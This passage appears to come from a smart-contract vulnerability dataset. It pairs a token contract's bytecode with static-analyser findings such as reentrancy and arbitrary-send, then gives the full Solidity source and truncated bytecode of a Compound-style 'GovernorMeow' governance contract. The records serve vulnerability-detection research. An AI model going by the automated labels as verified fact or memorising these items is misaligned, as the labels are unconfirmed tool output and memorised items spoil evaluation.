0000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b6139e28161353c565b81146139ed57600080fd5b50565b6139f98161354e565b8114613a0457600080fd5b50565b613a1081613560565b8114613a1b57600080fd5b50565b613a278161358c565b8114613a3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5b66a95d56118bdaeae442a071edf8fc0b7983893cbc240008148df81e8fcbd64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,244
0x623972FfaAF267A15742fFe8C73D22B0c160360c
/** *Submitted for verification at Etherscan.io on 2021-08-09 */ pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; /// @notice Based on Compound Governance Governor 'Alpha'. contract GovernorMeow { /// @notice The name of this contract string public name; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The address of the Governance Timelock TimelockInterface public timelock; /// @notice The address of the Governance token CompInterface public token; /// @notice The address of the Governance Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address _timelock, address _token, address _guardian, string memory _name, uint _quorumVotes, uint _proposalThreshold, uint _votingPeriod) public { timelock = TimelockInterface(_timelock); token = CompInterface(_token); guardian = _guardian; name = _name; quorumVotes = _quorumVotes; proposalThreshold = _proposalThreshold; votingPeriod = _votingPeriod; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(token.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "GovernorMeow::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorMeow::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorMeow::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorMeow::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorMeow::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorMeow::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorMeow::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorMeow::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorMeow::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorMeow::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || token.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "GovernorMeow::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorMeow::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorMeow::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorMeow::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorMeow::_castVote: voter already voted"); uint96 votes = token.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorMeow::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorMeow::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorMeow::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorMeow::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc1461046e578063e23a9a5214610483578063fc0c546a146104b0578063fe0d94c1146104c55761019c565b8063da35c66414610419578063da95691a1461042e578063ddf0b0091461044e5761019c565b806391500671116100c657806391500671146103ad578063b58131b0146103cd578063b9a61961146103e2578063d33219b4146103f75761019c565b80634634c61f14610363578063760fbc13146103835780637bdbe4d0146103985761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146102df5780633e4f49e6146102f457806340e58ee514610321578063452a9320146103415761019c565b806321f43e421461027a57806324bc1a641461029a578063328dd982146102af5761019c565b8063013cf08b146101a157806302a251a3146101df57806306fdde031461020157806315373e3d1461022357806317977c611461024557806320606b7014610265575b600080fd5b3480156101ad57600080fd5b506101c16101bc36600461245b565b6104d8565b6040516101d699989796959493929190613642565b60405180910390f35b3480156101eb57600080fd5b506101f4610531565b6040516101d6919061336f565b34801561020d57600080fd5b50610216610537565b6040516101d6919061342b565b34801561022f57600080fd5b5061024361023e3660046124a9565b6105c5565b005b34801561025157600080fd5b506101f461026036600461229e565b6105d4565b34801561027157600080fd5b506101f46105e6565b34801561028657600080fd5b506102436102953660046122c4565b6105fd565b3480156102a657600080fd5b506101f46106e5565b3480156102bb57600080fd5b506102cf6102ca36600461245b565b6106eb565b6040516101d69493929190613322565b3480156102eb57600080fd5b506101f461097a565b34801561030057600080fd5b5061031461030f36600461245b565b610980565b6040516101d6919061341d565b34801561032d57600080fd5b5061024361033c36600461245b565b610b07565b34801561034d57600080fd5b50610356610d6b565b6040516101d691906131cc565b34801561036f57600080fd5b5061024361037e3660046124d9565b610d7a565b34801561038f57600080fd5b50610243610ed7565b3480156103a457600080fd5b506101f4610f13565b3480156103b957600080fd5b506102436103c83660046122c4565b610f18565b3480156103d957600080fd5b506101f4610fee565b3480156103ee57600080fd5b50610243610ff4565b34801561040357600080fd5b5061040c61107b565b6040516101d6919061340f565b34801561042557600080fd5b506101f461108a565b34801561043a57600080fd5b506101f46104493660046122fe565b611090565b34801561045a57600080fd5b5061024361046936600461245b565b6114ab565b34801561047a57600080fd5b506101f461171a565b34801561048f57600080fd5b506104a361049e366004612479565b611726565b6040516101d6919061358c565b3480156104bc57600080fd5b5061040c611795565b6102436104d336600461245b565b6117a4565b60086020819052600091825260409091208054600182015460028301546007840154948401546009850154600a860154600b9096015494966001600160a01b039094169592949192909160ff8082169161010090041689565b60035481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105bd5780601f10610592576101008083540402835291602001916105bd565b820191906000526020600020905b8154815290600101906020018083116105a057829003601f168201915b505050505081565b6105d0338383611969565b5050565b60096020526000908152604090205481565b6040516105f2906131b6565b604051809103902081565b6006546001600160a01b031633146106305760405162461bcd60e51b81526004016106279061352c565b60405180910390fd5b6004546040516001600160a01b0390911690630825f38f90829060009061065b9087906020016131cc565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161068a94939291906131f5565b600060405180830381600087803b1580156106a457600080fd5b505af11580156106b8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106e09190810190612426565b505050565b60015481565b6060806060806000600860008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561076d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161074f575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156107bf57602002820191906000526020600020905b8154815260200190600101908083116107ab575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156108925760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561087e5780601f106108535761010080835404028352916020019161087e565b820191906000526020600020905b81548152906001019060200180831161086157829003601f168201915b5050505050815260200190600101906107e7565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109645760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109505780601f1061092557610100808354040283529160200191610950565b820191906000526020600020905b81548152906001019060200180831161093357829003601f168201915b5050505050815260200190600101906108b9565b5050505090509450945094509450509193509193565b60015b90565b600081600754101580156109945750600082115b6109b05760405162461bcd60e51b81526004016106279061344c565b6000828152600860205260409020600b81015460ff16156109d5576002915050610b02565b806007015443116109ea576000915050610b02565b806008015443116109ff576001915050610b02565b80600a01548160090154111580610a1b57506001548160090154105b15610a2a576003915050610b02565b6002810154610a3d576004915050610b02565b600b810154610100900460ff1615610a59576007915050610b02565b610aec8160020154600460009054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610aaf57600080fd5b505afa158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ae79190810190612408565b611b32565b4210610afc576006915050610b02565b60059150505b919050565b6000610b1282610980565b90506007816007811115610b2257fe5b1415610b405760405162461bcd60e51b81526004016106279061349c565b60008281526008602052604090206006546001600160a01b0316331480610c0657506002546005546001838101546001600160a01b039283169263782d6fe192911690610b8e904390611b5e565b6040518363ffffffff1660e01b8152600401610bab929190613244565b60206040518083038186803b158015610bc357600080fd5b505afa158015610bd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bfb9190810190612541565b6001600160601b0316105b610c225760405162461bcd60e51b81526004016106279061350c565b600b8101805460ff1916600117905560005b6003820154811015610d2e576004546003830180546001600160a01b039092169163591fcdfe919084908110610c6657fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c8e57fe5b9060005260206000200154856005018581548110610ca857fe5b90600052602060002001866006018681548110610cc157fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610cf09594939291906132e1565b600060405180830381600087803b158015610d0a57600080fd5b505af1158015610d1e573d6000803e3d6000fd5b505060019092019150610c349050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d5e919061336f565b60405180910390a1505050565b6006546001600160a01b031681565b6000604051610d88906131b6565b60405180910390206000604051610d9f9190613179565b6040518091039020610daf611b86565b30604051602001610dc3949392919061337d565b6040516020818303038152906040528051906020012090506000604051610de9906131c1565b604051908190038120610e0291899089906020016133b2565b60405160208183030381529060405280519060200120905060008282604051602001610e2f929190613185565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e6c94939291906133da565b6020604051602081039080840390855afa158015610e8e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ec15760405162461bcd60e51b81526004016106279061343c565b610ecc818a8a611969565b505050505050505050565b6006546001600160a01b03163314610f015760405162461bcd60e51b81526004016106279061346c565b600680546001600160a01b0319169055565b600a90565b6006546001600160a01b03163314610f425760405162461bcd60e51b81526004016106279061348c565b6004546040516001600160a01b0390911690633a66f901908290600090610f6d9087906020016131cc565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610f9c94939291906131f5565b602060405180830381600087803b158015610fb657600080fd5b505af1158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506106e09190810190612408565b60025481565b6006546001600160a01b0316331461101e5760405162461bcd60e51b8152600401610627906134ec565b6004805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b68192828201926000929082900301818387803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b50505050565b6004546001600160a01b031681565b60075481565b600254600554600091906001600160a01b031663782d6fe1336110b4436001611b5e565b6040518363ffffffff1660e01b81526004016110d19291906131da565b60206040518083038186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111219190810190612541565b6001600160601b0316116111475760405162461bcd60e51b81526004016106279061353c565b84518651148015611159575083518651145b8015611166575082518651145b6111825760405162461bcd60e51b81526004016106279061355c565b85516111a05760405162461bcd60e51b8152600401610627906134dc565b6111a8610f13565b865111156111c85760405162461bcd60e51b8152600401610627906134ac565b3360009081526009602052604090205480156112455760006111e982610980565b905060018160078111156111f957fe5b14156112175760405162461bcd60e51b81526004016106279061345c565b600081600781111561122557fe5b14156112435760405162461bcd60e51b81526004016106279061351c565b505b600061125343610ae761097a565b9050600061126382600354611b32565b6007805460010190559050611276611ce8565b604051806101a001604052806007548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060086000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611359929190611d5d565b5060808201518051611375916004840191602090910190611dc2565b5060a08201518051611391916005840191602090910190611e09565b5060c082015180516113ad916006840191602090910190611e62565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516009600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516114939998979695949392919061359a565b60405180910390a15193505050505b95945050505050565b60046114b682610980565b60078111156114c157fe5b146114de5760405162461bcd60e51b8152600401610627906134cc565b6000818152600860209081526040808320600480548351630d48571f60e31b815293519295946115389442946001600160a01b0390931693636a42b8f8938282019392909190829003018186803b158015610aaf57600080fd5b905060005b60038301548110156116e0576116d883600301828154811061155b57fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061158357fe5b906000526020600020015485600501848154811061159d57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561162b5780601f106116005761010080835404028352916020019161162b565b820191906000526020600020905b81548152906001019060200180831161160e57829003601f168201915b505050505086600601858154811061163f57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116cd5780601f106116a2576101008083540402835291602001916116cd565b820191906000526020600020905b8154815290600101906020018083116116b057829003601f168201915b505050505086611b8a565b60010161153d565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d5e90859084906136c8565b6040516105f2906131c1565b61172e611ebb565b5060008281526008602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6005546001600160a01b031681565b60056117af82610980565b60078111156117ba57fe5b146117d75760405162461bcd60e51b81526004016106279061347c565b6000818152600860205260408120600b8101805461ff001916610100179055905b600382015481101561192d576004805490830180546001600160a01b0390921691630825f38f91908490811061182a57fe5b906000526020600020015484600301848154811061184457fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061186c57fe5b906000526020600020015486600501868154811061188657fe5b9060005260206000200187600601878154811061189f57fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118ce9594939291906132e1565b6000604051808303818588803b1580156118e757600080fd5b505af11580156118fb573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119249190810190612426565b506001016117f8565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161195d919061336f565b60405180910390a15050565b600161197483610980565b600781111561197f57fe5b1461199c5760405162461bcd60e51b81526004016106279061354c565b60008281526008602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156119e55760405162461bcd60e51b81526004016106279061356c565b600554600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a1b918a91600401613244565b60206040518083038186803b158015611a3357600080fd5b505afa158015611a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611a6b9190810190612541565b90508315611a9457611a8a8360090154826001600160601b0316611b32565b6009840155611ab1565b611aab83600a0154826001600160601b0316611b32565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b22908890889088908690613252565b60405180910390a1505050505050565b600082820183811015611b575760405162461bcd60e51b8152600401610627906134bc565b9392505050565b600082821115611b805760405162461bcd60e51b81526004016106279061357c565b50900390565b4690565b6004546040516001600160a01b039091169063f2b0653790611bb89088908890889088908890602001613287565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611bea919061336f565b60206040518083038186803b158015611c0257600080fd5b505afa158015611c16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c3a91908101906123ea565b15611c575760405162461bcd60e51b8152600401610627906134fc565b60048054604051633a66f90160e01b81526001600160a01b0390911691633a66f90191611c8e918991899189918991899101613287565b602060405180830381600087803b158015611ca857600080fd5b505af1158015611cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611ce09190810190612408565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611db2579160200282015b82811115611db257825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611d7d565b50611dbe929150611edb565b5090565b828054828255906000526020600020908101928215611dfd579160200282015b82811115611dfd578251825591602001919060010190611de2565b50611dbe929150611eff565b828054828255906000526020600020908101928215611e56579160200282015b82811115611e565782518051611e46918491602090910190611f19565b5091602001919060010190611e29565b50611dbe929150611f86565b828054828255906000526020600020908101928215611eaf579160200282015b82811115611eaf5782518051611e9f918491602090910190611f19565b5091602001919060010190611e82565b50611dbe929150611fa9565b604080516060810182526000808252602082018190529181019190915290565b61097d91905b80821115611dbe5780546001600160a01b0319168155600101611ee1565b61097d91905b80821115611dbe5760008155600101611f05565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f5a57805160ff1916838001178555611dfd565b82800160010185558215611dfd5791820182811115611dfd578251825591602001919060010190611de2565b61097d91905b80821115611dbe576000611fa08282611fcc565b50600101611f8c565b61097d91905b80821115611dbe576000611fc38282611fcc565b50600101611faf565b50805460018160011615610100020316600290046000825580601f10611ff25750612010565b601f0160209004906000526020600020908101906120109190611eff565b50565b803561178f8161381c565b600082601f83011261202f57600080fd5b813561204261203d826136fd565b6136d6565b9150818183526020840193506020810190508385602084028201111561206757600080fd5b60005b83811015612093578161207d8882612013565b845250602092830192919091019060010161206a565b5050505092915050565b600082601f8301126120ae57600080fd5b81356120bc61203d826136fd565b81815260209384019390925082018360005b8381101561209357813586016120e488826121f3565b84525060209283019291909101906001016120ce565b600082601f83011261210b57600080fd5b813561211961203d826136fd565b81815260209384019390925082018360005b83811015612093578135860161214188826121f3565b845250602092830192919091019060010161212b565b600082601f83011261216857600080fd5b813561217661203d826136fd565b9150818183526020840193506020810190508385602084028201111561219b57600080fd5b60005b8381101561209357816121b188826121dd565b845250602092830192919091019060010161219e565b803561178f81613830565b805161178f81613830565b803561178f81613839565b805161178f81613839565b600082601f83011261220457600080fd5b813561221261203d8261371e565b9150808252602083016020830185838301111561222e57600080fd5b6122398382846137d0565b50505092915050565b600082601f83011261225357600080fd5b815161226161203d8261371e565b9150808252602083016020830185838301111561227d57600080fd5b6122398382846137dc565b803561178f81613842565b805161178f8161384b565b6000602082840312156122b057600080fd5b60006122bc8484612013565b949350505050565b600080604083850312156122d757600080fd5b60006122e38585612013565b92505060206122f4858286016121dd565b9150509250929050565b600080600080600060a0868803121561231657600080fd5b853567ffffffffffffffff81111561232d57600080fd5b6123398882890161201e565b955050602086013567ffffffffffffffff81111561235657600080fd5b61236288828901612157565b945050604086013567ffffffffffffffff81111561237f57600080fd5b61238b888289016120fa565b935050606086013567ffffffffffffffff8111156123a857600080fd5b6123b48882890161209d565b925050608086013567ffffffffffffffff8111156123d157600080fd5b6123dd888289016121f3565b9150509295509295909350565b6000602082840312156123fc57600080fd5b60006122bc84846121d2565b60006020828403121561241a57600080fd5b60006122bc84846121e8565b60006020828403121561243857600080fd5b815167ffffffffffffffff81111561244f57600080fd5b6122bc84828501612242565b60006020828403121561246d57600080fd5b60006122bc84846121dd565b6000806040838503121561248c57600080fd5b600061249885856121dd565b92505060206122f485828601612013565b600080604083850312156124bc57600080fd5b60006124c885856121dd565b92505060206122f4858286016121c7565b600080600080600060a086880312156124f157600080fd5b60006124fd88886121dd565b955050602061250e888289016121c7565b945050604061251f88828901612288565b9350506060612530888289016121dd565b92505060806123dd888289016121dd565b60006020828403121561255357600080fd5b60006122bc8484612293565b600061256b838361259a565b505060200190565b6000611b57838361273c565b600061256b8383612722565b6125948161379d565b82525050565b61259481613765565b60006125ae82613758565b6125b8818561375c565b93506125c383613746565b8060005b838110156125f15781516125db888261255f565b97506125e683613746565b9250506001016125c7565b509495945050505050565b600061260782613758565b612611818561375c565b93508360208202850161262385613746565b8060005b8581101561265d57848403895281516126408582612573565b945061264b83613746565b60209a909a0199925050600101612627565b5091979650505050505050565b600061267582613758565b61267f818561375c565b93508360208202850161269185613746565b8060005b8581101561265d57848403895281516126ae8582612573565b94506126b983613746565b60209a909a0199925050600101612695565b60006126d682613758565b6126e0818561375c565b93506126eb83613746565b8060005b838110156125f1578151612703888261257f565b975061270e83613746565b9250506001016126ef565b61259481613770565b6125948161097d565b6125946127378261097d565b61097d565b600061274782613758565b612751818561375c565b93506127618185602086016137dc565b61276a81613808565b9093019392505050565b60008154600181166000811461279157600181146127b4576127f3565b607f60028304166127a28187610b02565b60ff19841681529550850192506127f3565b600282046127c28187610b02565b95506127cd8561374c565b60005b828110156127ec578154888201526001909101906020016127d0565b5050850192505b505092915050565b600081546001811660008114612818576001811461283e576127f3565b607f6002830416612829818761375c565b60ff19841681529550506020850192506127f3565b6002820461284c818761375c565b95506128578561374c565b60005b828110156128765781548882015260019091019060200161285a565b9096019695505050505050565b612594816137a4565b612594816137af565b612594816137ba565b60006128ab602e8361375c565b7f476f7665726e6f724d656f773a3a63617374566f746542795369673a20696e7681526d616c6964207369676e617475726560901b602082015260400192915050565b60006128fb60288361375c565b7f476f7665726e6f724d656f773a3a73746174653a20696e76616c69642070726f8152671c1bdcd85b081a5960c21b602082015260400192915050565b600061294560578361375c565b7f476f7665726e6f724d656f773a3a70726f706f73653a206f6e65206c6976652081527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060208201527